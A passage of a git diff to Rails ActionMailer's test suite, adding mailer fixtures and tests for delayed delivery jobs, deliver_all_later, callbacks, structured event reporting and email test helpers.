+    original_auto_include_nonce_for_styles = ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles
+    ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles = true
+
+    mail = HelperMailer.use_stylesheet_link_tag
+
+    assert_includes mail.body.encoded, %(<link rel="stylesheet" href="/stylesheets/mailer.css")
+    assert_not_includes mail.body.encoded, "nonce="
+  ensure
+    ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles = original_auto_include_nonce_for_styles
+  end
+
+  def helper
+    Object.new.extend(ActionMailer::MailHelper)
+  end
+
+  def test_block_format
+    assert_equal "  * foo\n", helper.block_format(" * foo")
+    assert_equal "  * foo\n", helper.block_format("   * foo")
+    assert_equal "  * foo\n", helper.block_format("* foo")
+    assert_equal "  * foo\n*bar", helper.block_format("* foo*bar")
+    assert_equal "  * foo\n  * bar\n", helper.block_format("* foo * bar")
+    assert_equal "  *", helper.block_format("* ")
+  end
 end
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
index 73059d782d7d6..16d77ed61dc0f 100644
--- a/actionmailer/test/mail_layout_test.rb
+++ b/actionmailer/test/mail_layout_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class AutoLayoutMailer < ActionMailer::Base
diff --git a/actionmailer/test/mailers/asset_mailer.rb b/actionmailer/test/mailers/asset_mailer.rb
index 1cf15128d285b..7a9aba2629cf9 100644
--- a/actionmailer/test/mailers/asset_mailer.rb
+++ b/actionmailer/test/mailers/asset_mailer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class AssetMailer < ActionMailer::Base
   self.mailer_name = "asset_mailer"
 
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
index 2a8884959cae0..4a73d40bafb87 100644
--- a/actionmailer/test/mailers/base_mailer.rb
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 class BaseMailer < ActionMailer::Base
   self.mailer_name = "base_mailer"
 
   default to: "system@test.lindsaar.net",
           from: "jose@test.plataformatec.com",
-          reply_to: "mikel@test.lindsaar.net"
+          reply_to: email_address_with_name("mikel@test.lindsaar.net", "Mikel")
 
   def welcome(hash = {})
     headers["X-SPAM"] = "Not SPAM"
@@ -19,6 +21,21 @@ def welcome_from_another_path(path)
     mail(template_name: "welcome", template_path: path)
   end
 
+  def welcome_without_deliveries(hash = {})
+    mail({ template_name: "welcome" }.merge!(hash))
+    mail.perform_deliveries = false
+  end
+
+  def with_name
+    to = email_address_with_name("sunny@example.com", "Sunny")
+    mail(template_name: "welcome", to: to)
+  end
+
+  def with_blank_name
+    to = email_address_with_name("sunny@example.com", "")
+    mail(template_name: "welcome", to: to)
+  end
+
   def html_only(hash = {})
     mail(hash)
   end
@@ -32,6 +49,12 @@ def inline_attachment
     mail
   end
 
+  def inline_and_other_attachments
+    attachments.inline["logo.png"] = "\312\213\254\232"
+    attachments["certificate.pdf"] = "This is test File content"
+    mail
+  end
+
   def attachment_with_content(hash = {})
     attachments["invoice.pdf"] = "This is test File content"
     mail(hash)
@@ -55,6 +78,10 @@ def implicit_multipart(hash = {})
     mail(hash)
   end
 
+  def implicit_multipart_formats(hash = {})
+    mail(hash)
+  end
+
   def implicit_with_locale(hash = {})
     mail(hash)
   end
@@ -104,6 +131,13 @@ def implicit_different_template(template_name = "")
     mail(template_name: template_name)
   end
 
+  def implicit_different_template_with_block(template_name = "")
+    mail(template_name: template_name) do |format|
+      format.text
+      format.html
+    end
+  end
+
   def explicit_different_template(template_name = "")
     mail do |format|
       format.text { render template: "#{mailer_name}/#{template_name}" }
diff --git a/actionmailer/test/mailers/caching_mailer.rb b/actionmailer/test/mailers/caching_mailer.rb
index 92d3cff7c96f5..02f0c6c103b56 100644
--- a/actionmailer/test/mailers/caching_mailer.rb
+++ b/actionmailer/test/mailers/caching_mailer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CachingMailer < ActionMailer::Base
   self.mailer_name = "caching_mailer"
 
diff --git a/actionmailer/test/mailers/callback_mailer.rb b/actionmailer/test/mailers/callback_mailer.rb
new file mode 100644
index 0000000000000..86e6c005d4f56
--- /dev/null
+++ b/actionmailer/test/mailers/callback_mailer.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+CallbackMailerError = Class.new(StandardError)
+class CallbackMailer < ActionMailer::Base
+  cattr_accessor :rescue_from_error
+  cattr_accessor :after_deliver_instance
+  cattr_accessor :around_deliver_instance
+  cattr_accessor :abort_before_deliver
+  cattr_accessor :around_handles_error
+
+  rescue_from CallbackMailerError do |error|
+    @@rescue_from_error = error
+  end
+
+  before_deliver do
+    throw :abort if @@abort_before_deliver
+  end
+
+  after_deliver do
+    @@after_deliver_instance = self
+  end
+
+  around_deliver do |mailer, block|
+    @@around_deliver_instance = self
+    block.call
+  rescue StandardError
+    raise unless @@around_handles_error
+  end
+
+  def test_message(*)
+    mail(from: "test-sender@test.com", to: "test-receiver@test.com", subject: "Test Subject", body: "Test Body")
+  end
+
+  def test_raise_action
+    raise CallbackMailerError, "boom action processing"
+  end
+end
diff --git a/actionmailer/test/mailers/delayed_mailer.rb b/actionmailer/test/mailers/delayed_mailer.rb
index cae4ec2f4831c..37c7590d97bb2 100644
--- a/actionmailer/test/mailers/delayed_mailer.rb
+++ b/actionmailer/test/mailers/delayed_mailer.rb
@@ -1,8 +1,10 @@
-require "active_job/arguments"
+# frozen_string_literal: true
 
 class DelayedMailerError < StandardError; end
 
 class DelayedMailer < ActionMailer::Base
+  self.deliver_later_queue_name = :delayed_mailers
+
   cattr_accessor :last_error
   cattr_accessor :last_rescue_from_instance
 
@@ -20,6 +22,10 @@ def test_message(*)
     mail(from: "test-sender@test.com", to: "test-receiver@test.com", subject: "Test Subject", body: "Test Body")
   end
 
+  def test_kwargs(argument:)
+    mail(from: "test-sender@test.com", to: "test-receiver@test.com", subject: "Test Subject", body: "Test Body")
+  end
+
   def test_raise(klass_name)
     raise klass_name.constantize, "boom"
   end
diff --git a/actionmailer/test/mailers/form_builder_mailer.rb b/actionmailer/test/mailers/form_builder_mailer.rb
new file mode 100644
index 0000000000000..8e2f00a01b20f
--- /dev/null
+++ b/actionmailer/test/mailers/form_builder_mailer.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class FormBuilderMailer < ActionMailer::Base
+  class SpecializedFormBuilder < ActionView::Helpers::FormBuilder
+    def message
+      "hi from SpecializedFormBuilder"
+    end
+  end
+
+  default_form_builder SpecializedFormBuilder
+
+  def welcome
+    mail(to: "email@example.com")
+  end
+end
diff --git a/actionmailer/test/mailers/params_mailer.rb b/actionmailer/test/mailers/params_mailer.rb
index 4c0fae6d91d7e..84aa336311313 100644
--- a/actionmailer/test/mailers/params_mailer.rb
+++ b/actionmailer/test/mailers/params_mailer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ParamsMailer < ActionMailer::Base
   before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
 
diff --git a/actionmailer/test/mailers/proc_mailer.rb b/actionmailer/test/mailers/proc_mailer.rb
index 2487db9eb96fb..75ee5dd9b61c5 100644
--- a/actionmailer/test/mailers/proc_mailer.rb
+++ b/actionmailer/test/mailers/proc_mailer.rb
@@ -1,15 +1,23 @@
+# frozen_string_literal: true
+
 class ProcMailer < ActionMailer::Base
   default to: "system@test.lindsaar.net",
           "X-Proc-Method" => Proc.new { Time.now.to_i.to_s },
           subject: Proc.new { give_a_greeting },
-          "x-has-to-proc" => :symbol
+          "x-has-to-proc" => :symbol,
+          "X-Lambda-Arity-0" => ->() { "0" },
+          "X-Lambda-Arity-1-arg" => ->(arg) { arg.computed_value },
+          "X-Lambda-Arity-1-self" => ->(_) { self.computed_value }
 
   def welcome
     mail
   end
 
-  private
+  def computed_value
+    "complex_value"
+  end
 
+  private
     def give_a_greeting
       "Thanks for signing up this afternoon"
     end
diff --git a/actionmailer/test/message_delivery_test.rb b/actionmailer/test/message_delivery_test.rb
index a79d77e1e5af4..b011bba1a8670 100644
--- a/actionmailer/test/message_delivery_test.rb
+++ b/actionmailer/test/message_delivery_test.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_job"
+require "mailers/base_mailer"
 require "mailers/delayed_mailer"
+require "mailers/params_mailer"
 
 class MessageDeliveryTest < ActiveSupport::TestCase
   include ActiveJob::TestHelper
@@ -8,11 +12,10 @@ class MessageDeliveryTest < ActiveSupport::TestCase
   setup do
     @previous_logger = ActiveJob::Base.logger
     @previous_delivery_method = ActionMailer::Base.delivery_method
-    @previous_deliver_later_queue_name = ActionMailer::Base.deliver_later_queue_name
-    ActionMailer::Base.deliver_later_queue_name = :test_queue
-    ActionMailer::Base.delivery_method = :test
+
     ActiveJob::Base.logger = Logger.new(nil)
-    ActionMailer::Base.deliveries.clear
+    ActionMailer::Base.delivery_method = :test
+
     ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
     ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
 
@@ -23,9 +26,10 @@ class MessageDeliveryTest < ActiveSupport::TestCase
   end
 
   teardown do
+    ActionMailer::Base.deliveries.clear
+
     ActiveJob::Base.logger = @previous_logger
     ActionMailer::Base.delivery_method = @previous_delivery_method
-    ActionMailer::Base.deliver_later_queue_name = @previous_deliver_later_queue_name
 
     DelayedMailer.last_error = nil
     DelayedMailer.last_rescue_from_instance = nil
@@ -36,7 +40,7 @@ class MessageDeliveryTest < ActiveSupport::TestCase
   end
 
   test "its message should be a Mail::Message" do
-    assert_equal Mail::Message , @mail.message.class
+    assert_equal Mail::Message, @mail.message.class
   end
 
   test "should respond to .deliver_later" do
@@ -55,52 +59,77 @@ class MessageDeliveryTest < ActiveSupport::TestCase
     assert_respond_to @mail, :deliver_now!
   end
 
-  def test_should_enqueue_and_run_correctly_in_activejob
-    @mail.deliver_later!
-    assert_equal 1, ActionMailer::Base.deliveries.size
-  ensure
-    ActionMailer::Base.deliveries.clear
-  end
-
   test "should enqueue the email with :deliver_now delivery method" do
-    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", args: [1, 2, 3]]) do
       @mail.deliver_later
     end
   end
 
   test "should enqueue the email with :deliver_now! delivery method" do
-    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now!", 1, 2, 3]) do
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now!", args: [1, 2, 3]]) do
       @mail.deliver_later!
     end
   end
 
-  test "should enqueue a delivery with a delay" do
-    travel_to Time.new(2004, 11, 24, 01, 04, 44) do
-      assert_performed_with(job: ActionMailer::DeliveryJob, at: Time.current.to_f + 600.seconds, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
-        @mail.deliver_later wait: 600.seconds
+  test "should enqueue delivery with a delay" do
+    travel_to Time.new(2004, 11, 24, 1, 4, 44) do
+      assert_performed_with(job: ActionMailer::MailDeliveryJob, at: Time.current + 10.minutes, args: ["DelayedMailer", "test_message", "deliver_now", args: [1, 2, 3]]) do
+        @mail.deliver_later wait: 10.minutes
       end
     end
   end
 
-  test "should enqueue a delivery at a specific time" do
-    later_time = Time.now.to_f + 3600
-    assert_performed_with(job: ActionMailer::DeliveryJob, at: later_time, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
+  test "should enqueue delivery with a priority" do
+    job = @mail.deliver_later priority: 10
+    assert_equal 10, job.priority
+  end
+
+  test "should enqueue delivery at a specific time" do
+    later_time = Time.current + 1.hour
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, at: later_time, args: ["DelayedMailer", "test_message", "deliver_now", args: [1, 2, 3]]) do
       @mail.deliver_later wait_until: later_time
     end
   end
 
-  test "should enqueue the job on the correct queue" do
-    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3], queue: "test_queue") do
+  test "should enqueue delivery on the correct queue" do
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", args: [1, 2, 3]], queue: "delayed_mailers") do
+      @mail.deliver_later
+    end
+  end
+
+  test "should enqueue delivery with the correct job" do
+    old_delivery_job = DelayedMailer.delivery_job
+    DelayedMailer.delivery_job = DummyJob
+
+    assert_performed_with(job: DummyJob, args: ["DelayedMailer", "test_message", "deliver_now", args: [1, 2, 3]]) do
       @mail.deliver_later
     end
+
+    DelayedMailer.delivery_job = old_delivery_job
   end
 
-  test "can override the queue when enqueuing mail" do
-    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3], queue: "another_queue") do
+  class DummyJob < ActionMailer::MailDeliveryJob; end
+
+  test "delivery queue can be overridden when enqueuing mail" do
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", args: [1, 2, 3]], queue: "another_queue") do
       @mail.deliver_later(queue: :another_queue)
     end
   end
 
+  test "delivery queue can be overridden in subclasses" do
+    previous_queue_name = DelayedMailer.deliver_later_queue_name
+    DelayedMailer.deliver_later_queue_name = :throttled_mailers
+
+    assert_equal :throttled_mailers, DelayedMailer.deliver_later_queue_name
+    assert_equal :mailers, ActionMailer::Base.deliver_later_queue_name
+
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", args: []], queue: "throttled_mailers") do
+      DelayedMailer.test_message.deliver_later
+    end
+  ensure
+    DelayedMailer.deliver_later_queue_name = previous_queue_name
+  end
+
   test "deliver_later after accessing the message is disallowed" do
     @mail.message # Load the message, which calls the mailer method.
 
@@ -109,6 +138,85 @@ def test_should_enqueue_and_run_correctly_in_activejob
     end
   end
 
+  test "deliver_all_later enqueues multiple deliveries" do
+    mail1 = DelayedMailer.test_message(1)
+    mail2 = DelayedMailer.test_kwargs(argument: 1)
+
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", params: nil, args: [1]]) do
+      assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_kwargs", "deliver_now", params: nil, args: [argument: 1]]) do
+        ActionMailer.deliver_all_later(mail1, mail2)
+      end
+    end
+  end
+
+  test "deliver_all_later! enqueues multiple deliveries" do
+    mail1 = DelayedMailer.test_message(1)
+    mail2 = DelayedMailer.test_kwargs(argument: 1)
+
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now!", params: nil, args: [1]]) do
+      assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_kwargs", "deliver_now!", params: nil, args: [argument: 1]]) do
+        ActionMailer.deliver_all_later!(mail1, mail2)
+      end
+    end
+  end
+
+  test "deliver_all_later does not inline process the mailers" do
+    mail1 = DelayedMailer.test_message(1)
+    mail2 = DelayedMailer.test_message(2)
+
+    ActionMailer.deliver_all_later(mail1, mail2)
+
+    assert_not mail1.processed?
+    assert_not mail2.processed?
+
+    mail1 = DelayedMailer.test_message(1)
+    mail2 = DelayedMailer.test_message(2)
+
+    ActionMailer.deliver_all_later([mail1, mail2])
+
+    assert_not mail1.processed?
+    assert_not mail2.processed?
+  end
+
+  test "deliver_all_later enqueues multiple deliveries with correct jobs" do
+    old_delivery_job = BaseMailer.delivery_job
+    BaseMailer.delivery_job = DummyJob
+
+    mail1 = DelayedMailer.test_message
+    mail2 = BaseMailer.welcome
+
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", params: nil, args: []]) do
+      assert_performed_with(job: DummyJob, args: ["BaseMailer", "welcome", "deliver_now", params: nil, args: []]) do
+        ActionMailer.deliver_all_later(mail1, mail2)
+      end
+    end
+  ensure
+    BaseMailer.delivery_job = old_delivery_job
+  end
+
+  test "deliver_all_later enqueues multiple deliveries with custom options" do
+    mail1 = DelayedMailer.test_message(1)
+    mail2 = DelayedMailer.test_message(2)
+
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", params: nil, args: [1]], queue: "another_queue") do
+      assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", params: nil, args: [2]], queue: "another_queue") do
+        ActionMailer.deliver_all_later(mail1, mail2, queue: :another_queue)
+      end
+    end
+  end
+
+  test "deliver_all_later enqueues parameterized emails" do
+    mail1 = DelayedMailer.test_message(1)
+    mail2 = ParamsMailer.with(inviter: "david@basecamp.com", invitee: "jason@basecamp.com").invitation
+
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", params: nil, args: [1]]) do
+      assert_performed_with(job: ActionMailer::MailDeliveryJob,
+                            args: ["ParamsMailer", "invitation", "deliver_now", args: [], params: { inviter: "david@basecamp.com", invitee: "jason@basecamp.com" }]) do
+        ActionMailer.deliver_all_later(mail1, mail2)
+      end
+    end
+  end
+
   test "job delegates error handling to mailer" do
     # Superclass not rescued by mailer's rescue_from RuntimeError
     message = DelayedMailer.test_raise("StandardError")
@@ -150,4 +258,11 @@ def to_global_id(options = {})
     assert_equal DelayedMailer, DelayedMailer.last_rescue_from_instance
     assert_equal "Error while trying to deserialize arguments: boom, missing find", DelayedMailer.last_error.message
   end
+
+  test "allows for keyword arguments" do
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: ["DelayedMailer", "test_kwargs", "deliver_now", args: [argument: 1]]) do
+      message = DelayedMailer.test_kwargs(argument: 1)
+      message.deliver_later
+    end
+  end
 end
diff --git a/actionmailer/test/parameterized_test.rb b/actionmailer/test/parameterized_test.rb
index 914ed12312195..366327ee76be1 100644
--- a/actionmailer/test/parameterized_test.rb
+++ b/actionmailer/test/parameterized_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_job"
 require "mailers/params_mailer"
@@ -5,6 +7,9 @@
 class ParameterizedTest < ActiveSupport::TestCase
   include ActiveJob::TestHelper
 
+  class DummyDeliveryJob < ActionMailer::MailDeliveryJob
+  end
+
   setup do
     @previous_logger = ActiveJob::Base.logger
     ActiveJob::Base.logger = Logger.new(nil)
@@ -12,19 +17,13 @@ class ParameterizedTest < ActiveSupport::TestCase
     @previous_delivery_method = ActionMailer::Base.delivery_method
     ActionMailer::Base.delivery_method = :test
 
-    @previous_deliver_later_queue_name = ActionMailer::Base.deliver_later_queue_name
-    ActionMailer::Base.deliver_later_queue_name = :test_queue
-    ActionMailer::Base.delivery_method = :test
-
     @mail = ParamsMailer.with(inviter: "david@basecamp.com", invitee: "jason@basecamp.com").invitation
   end
 
   teardown do
     ActiveJob::Base.logger = @previous_logger
     ParamsMailer.deliveries.clear
-
     ActionMailer::Base.delivery_method = @previous_delivery_method
-    ActionMailer::Base.deliver_later_queue_name = @previous_deliver_later_queue_name
   end
 
   test "parameterized headers" do
@@ -33,8 +32,22 @@ class ParameterizedTest < ActiveSupport::TestCase
     assert_equal("So says david@basecamp.com", @mail.body.encoded)
   end
 
+  test "degrade gracefully when .with is not called" do
+    @mail = ParamsMailer.invitation
+
+    assert_nil(@mail.to)
+    assert_nil(@mail.from)
+  end
+
   test "enqueue the email with params" do
-    assert_performed_with(job: ActionMailer::Parameterized::DeliveryJob, args: ["ParamsMailer", "invitation", "deliver_now", { inviter: "david@basecamp.com", invitee: "jason@basecamp.com" } ]) do
+    args = [
+      "ParamsMailer",
+      "invitation",
+      "deliver_now",
+      params: { inviter: "david@basecamp.com", invitee: "jason@basecamp.com" },
+      args: [],
+    ]
+    assert_performed_with(job: ActionMailer::MailDeliveryJob, args: args) do
       @mail.deliver_later
     end
   end
@@ -52,4 +65,29 @@ class ParameterizedTest < ActiveSupport::TestCase
       invitation = mailer.method(:anything)
     end
   end
+
+  test "should enqueue a parameterized request with the correct delivery job" do
+    args = [
+      "ParamsMailer",
+      "invitation",
+      "deliver_now",
+      params: { inviter: "david@basecamp.com", invitee: "jason@basecamp.com" },
+      args: [],
+    ]
+
+    with_delivery_job DummyDeliveryJob do
+      assert_performed_with(job: DummyDeliveryJob, args: args) do
+        @mail.deliver_later
+      end
+    end
+  end
+
+  private
+    def with_delivery_job(job)
+      old_delivery_job = ParamsMailer.delivery_job
+      ParamsMailer.delivery_job = job
+      yield
+    ensure
+      ParamsMailer.delivery_job = old_delivery_job
+    end
 end
diff --git a/actionmailer/test/structured_event_subscriber_test.rb b/actionmailer/test/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..d1cd1f5540e2f
--- /dev/null
+++ b/actionmailer/test/structured_event_subscriber_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
+require "mailers/base_mailer"
+require "action_mailer/structured_event_subscriber"
+
+module ActionMailer
+  class StructuredEventSubscriberTest < ActionMailer::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    class BogusDelivery
+      def initialize(*)
+      end
+
+      def deliver!(mail)
+        raise "failed"
+      end
+    end
+
+    def run(*)
+      with_debug_event_reporting do
+        super
+      end
+    end
+
+    def test_deliver_is_notified
+      event = assert_event_reported("action_mailer.delivered", payload: { message_id: "123@abc", mail: /.*/, perform_deliveries: true }) do
+        BaseMailer.welcome(message_id: "123@abc").deliver_now
+      end
+
+      assert event[:payload][:duration_ms] > 0
+    ensure
+      BaseMailer.deliveries.clear
+    end
+
+    def test_deliver_message_when_perform_deliveries_is_false
+      assert_event_reported("action_mailer.delivered", payload: { message_id: "123@abc", mail: /.*/, perform_deliveries: false }) do
+        BaseMailer.welcome_without_deliveries(message_id: "123@abc").deliver_now
+      end
+    ensure
+      BaseMailer.deliveries.clear
+    end
+
+    def test_deliver_message_when_exception_happened
+      previous_delivery_method = BaseMailer.delivery_method
+      BaseMailer.delivery_method = BogusDelivery
+      payload = { message_id: "123@abc", mail: /.*/, exception_class: "RuntimeError", exception_message: "failed" }
+
+      assert_event_reported("action_mailer.delivered", payload:) do
+        assert_raises(RuntimeError) { BaseMailer.welcome(message_id: "123@abc").deliver_now }
+      end
+    ensure
+      BaseMailer.delivery_method = previous_delivery_method
+    end
+  end
+end
diff --git a/actionmailer/test/test_case_test.rb b/actionmailer/test/test_case_test.rb
index 193d107b0a869..9897f3891bb1e 100644
--- a/actionmailer/test/test_case_test.rb
+++ b/actionmailer/test/test_case_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TestTestMailer < ActionMailer::Base
@@ -41,7 +43,7 @@ def test_deliveries_are_cleared_on_setup_and_teardown
   end
 end
 
-class CrazyNameMailerTest < ActionMailer::TestCase
+class ManuallySetNameMailerTest < ActionMailer::TestCase
   tests TestTestMailer
 
   def test_set_mailer_class_manual
@@ -49,7 +51,7 @@ def test_set_mailer_class_manual
   end
 end
 
-class CrazySymbolNameMailerTest < ActionMailer::TestCase
+class ManuallySetSymbolNameMailerTest < ActionMailer::TestCase
   tests :test_test_mailer
 
   def test_set_mailer_class_manual_using_symbol
@@ -57,7 +59,7 @@ def test_set_mailer_class_manual_using_symbol
   end
 end
 
-class CrazyStringNameMailerTest < ActionMailer::TestCase
+class ManuallySetStringNameMailerTest < ActionMailer::TestCase
   tests "test_test_mailer"
 
   def test_set_mailer_class_manual_using_string
diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb
index 876e9b0634cd7..de1c3861a96fe 100644
--- a/actionmailer/test/test_helper_test.rb
+++ b/actionmailer/test/test_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/testing/stream"
 
@@ -5,14 +7,52 @@ class TestHelperMailer < ActionMailer::Base
   def test
     @world = "Earth"
     mail body: render(inline: "Hello, <%= @world %>"),
+      subject: "Hi!",
+      to: "test@example.com",
+      from: "tester@example.com"
+  end
+
+  def test_args(recipient, name)
+    mail body: render(inline: "Hello, #{name}"),
+      to: recipient,
+      from: "tester@example.com"
+  end
+
+  def test_named_args(recipient:, name:)
+    mail body: render(inline: "Hello, #{name}"),
+      to: recipient,
+      from: "tester@example.com"
+  end
+
+  def test_parameter_args
+    mail body: render(inline: "All is #{params[:all]}"),
       to: "test@example.com",
       from: "tester@example.com"
   end
 end
 
+class CustomDeliveryJob < ActionMailer::MailDeliveryJob
+end
+
+class CustomDeliveryMailer < TestHelperMailer
+  self.delivery_job = CustomDeliveryJob
+end
+
+class CustomQueueMailer < TestHelperMailer
+  self.deliver_later_queue_name = :custom_queue
+end
+
 class TestHelperMailerTest < ActionMailer::TestCase
   include ActiveSupport::Testing::Stream
 
+  setup do
+    @previous_deliver_later_queue_name = ActionMailer::Base.deliver_later_queue_name
+  end
+
+  teardown do
+    ActionMailer::Base.deliver_later_queue_name = @previous_deliver_later_queue_name
+  end
+
   def test_setup_sets_right_action_mailer_options
     assert_equal :test, ActionMailer::Base.delivery_method
     assert ActionMailer::Base.perform_deliveries
@@ -40,7 +80,7 @@ def test_charset_is_utf_8
   end
 
   def test_encode
-    assert_equal "=?UTF-8?Q?This_is_=E3=81=82_string?=", encode("This is � string")
+    assert_equal "This is � string", Mail::Encodings.q_value_decode(encode("This is � string"))
   end
 
   def test_read_fixture
@@ -55,6 +95,56 @@ def test_assert_emails
     end
   end
 
+  def test_capture_emails
+    assert_nothing_raised do
+      emails = capture_emails do
+        TestHelperMailer.test.deliver_now
+      end
+      email = emails.first
+      assert_instance_of Mail::Message, email
+      assert_equal "Hello, Earth", email.body.to_s
+      assert_equal "Hi!", email.subject
+
+      emails = capture_emails do
+        TestHelperMailer.test.deliver_now
+        TestHelperMailer.test.deliver_now
+      end
+      assert_instance_of Array, emails
+      assert_instance_of Mail::Message, emails.first
+      assert_instance_of Mail::Message, emails.second
+    end
+  end
+
+  def test_assert_emails_with_custom_delivery_job
+    assert_nothing_raised do
+      assert_emails(1) do
+        silence_stream($stdout) do
+          CustomDeliveryMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_emails_with_custom_parameterized_delivery_job
+    assert_nothing_raised do
+      assert_emails(1) do
+        silence_stream($stdout) do
+          CustomDeliveryMailer.with(foo: "bar").test_parameter_args.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_emails_with_enqueued_emails
+    assert_nothing_raised do
+      assert_emails 1 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
   def test_repeated_assert_emails_calls
     assert_nothing_raised do
       assert_emails 1 do
@@ -91,6 +181,18 @@ def test_assert_no_emails
     end
   end
 
+  def test_assert_no_emails_with_enqueued_emails
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_emails do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
   def test_assert_emails_too_few_sent
     error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_emails 2 do
@@ -165,6 +267,16 @@ def test_assert_enqueued_emails_too_few_sent
     assert_match(/2 .* but 1/, error.message)
   end
 
+  def test_assert_enqueued_emails_with_custom_delivery_job
+    assert_nothing_raised do
+      assert_enqueued_emails(1) do
+        silence_stream($stdout) do
+          CustomDeliveryMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
   def test_assert_enqueued_emails_too_many_sent
     error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_enqueued_emails 1 do
@@ -205,6 +317,295 @@ def test_assert_no_enqueued_emails_failure
 
     assert_match(/0 .* but 1/, error.message)
   end
+
+  def test_assert_enqueued_email_with
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_when_deliver_later_queue_name_is_nil
+    ActionMailer::Base.deliver_later_queue_name = nil
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_when_deliver_later_queue_name_with_non_default_name
+    ActionMailer::Base.deliver_later_queue_name = "sample_mailer_queue_name"
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_when_deliver_later_queue_name_is_symbol
+    ActionMailer::Base.deliver_later_queue_name = :mailers
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_when_queue_arg_is_symbol
+    ActionMailer::Base.deliver_later_queue_name = "mailers"
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test, queue: :mailers do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_when_mailer_has_custom_deliver_later_queue
+    assert_nothing_raised do
+      assert_enqueued_email_with CustomQueueMailer, :test do
+        silence_stream($stdout) do
+          CustomQueueMailer.test.deliver_later
+        end
+      end
+
+      assert_enqueued_email_with CustomQueueMailer, :test, queue: :custom_queue do
+        silence_stream($stdout) do
